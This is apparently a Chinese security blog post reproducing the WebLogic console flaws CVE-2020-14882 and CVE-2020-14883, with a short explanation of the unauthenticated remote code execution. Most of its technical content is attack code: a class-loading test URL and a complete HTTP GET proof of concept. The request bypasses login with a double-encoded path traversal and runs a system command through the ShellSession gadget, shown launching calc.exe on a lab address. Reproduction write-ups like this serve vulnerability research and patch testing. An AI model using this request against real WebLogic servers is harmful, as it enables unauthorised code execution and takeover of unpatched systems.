CVE-2020-14882 weblogic 未授权命令执行复现

  • A+
所属分类:安全文章

简介

未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。

CVE-2020-14882 weblogic 未授权命令执行复现

根据补丁diff结果我们可以看出,可以看出上面的变化

我们可以通过下面的代码,任意加载某个类或者对象

http://<target>/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=java.lang.String("ahihi")
CVE-2020-14882 weblogic 未授权命令执行复现

未授权访问

CVE-2020-14882 weblogic 未授权命令执行复现

非法字符绕过登陆保护

POC

首先通过非法字符绕过访问,然后通过Gadget调用命令执行,poc如下

CVE-2020-14882 weblogic 未授权命令执行复现
GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); HTTP/1.1
Host: 192.168.3.189:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADM
Upgrade-Insecure-Requests: 1





本文始发于微信公众号(宽字节安全):CVE-2020-14882 weblogic 未授权命令执行复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: